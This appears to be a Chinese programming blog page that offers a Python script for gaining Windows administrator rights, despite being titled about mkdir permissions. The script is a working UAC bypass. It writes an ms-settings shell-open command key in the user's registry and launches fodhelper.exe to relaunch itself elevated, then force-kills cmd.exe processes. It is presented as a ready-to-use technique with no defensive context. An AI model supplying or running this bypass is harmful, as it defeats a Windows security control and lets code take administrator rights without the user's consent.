python mkdir权限 window_python 添加Windows权限

# -*- coding: utf-8 -*-

"""

Created on Mon Jan 8 09:09:51 2018

@author: coordinate

"""

from __future__ import print_function

import os

import sys,time

import ctypes

if sys.version_info[0] == 3:

import winreg as winreg

else:

import _winreg as winreg

CMD = r"C:\Windows\System32\cmd.exe"

FOD_HELPER = r'C:\Windows\System32\fodhelper.exe'

PYTHON_CMD = "python"

REG_PATH = 'Software\Classes\ms-settings\shell\open\command'

DELEGATE_EXEC_REG_KEY = 'DelegateExecute'

def is_admin():

'''

Checks if the script is running with administrative privileges.

Returns True if is running as admin, False otherwise.

'''

try:

return ctypes.windll.shell32.IsUserAnAdmin()

except:

return False

def create_reg_key(key, value):

'''

Creates a reg key

'''

try:

winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH)

registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE)

winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)

winreg.CloseKey(registry_key)

except WindowsError:

raise

def bypass_uac(cmd):

'''

Tries to bypass the UAC

'''

try:

create_reg_key(DELEGATE_EXEC_REG_KEY, '')

create_reg_key(None, cmd)

except WindowsError:

raise

def execute():

if not is_admin():

print('[!] The script is NOT running with administrative privileges')

print('[+] Trying to bypass the UAC')

try:

current_dir = __file__

cmd = '{} /k {} {}'.format(CMD, PYTHON_CMD, current_dir)

bypass_uac(cmd)

os.system(FOD_HELPER)

sys.exit(0)

except WindowsError:

sys.exit(1)

else:

command1 = 'taskkill /F /IM cmd.exe'

# command2 = 'start cmd /k'

# command3 = 'cd C:\Users\yuxinglx\Downloads\MagicBox'

# command4 = 'install_app.bat'

os.system(command1)

time.sleep(5)

command2 = 'start cmd /k'

os.system(command2)

# os.system(command3)

# os.system(command4)

print('[+] The script is running with administrative privileges!')

if __name__ == '__main__':

# execute()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值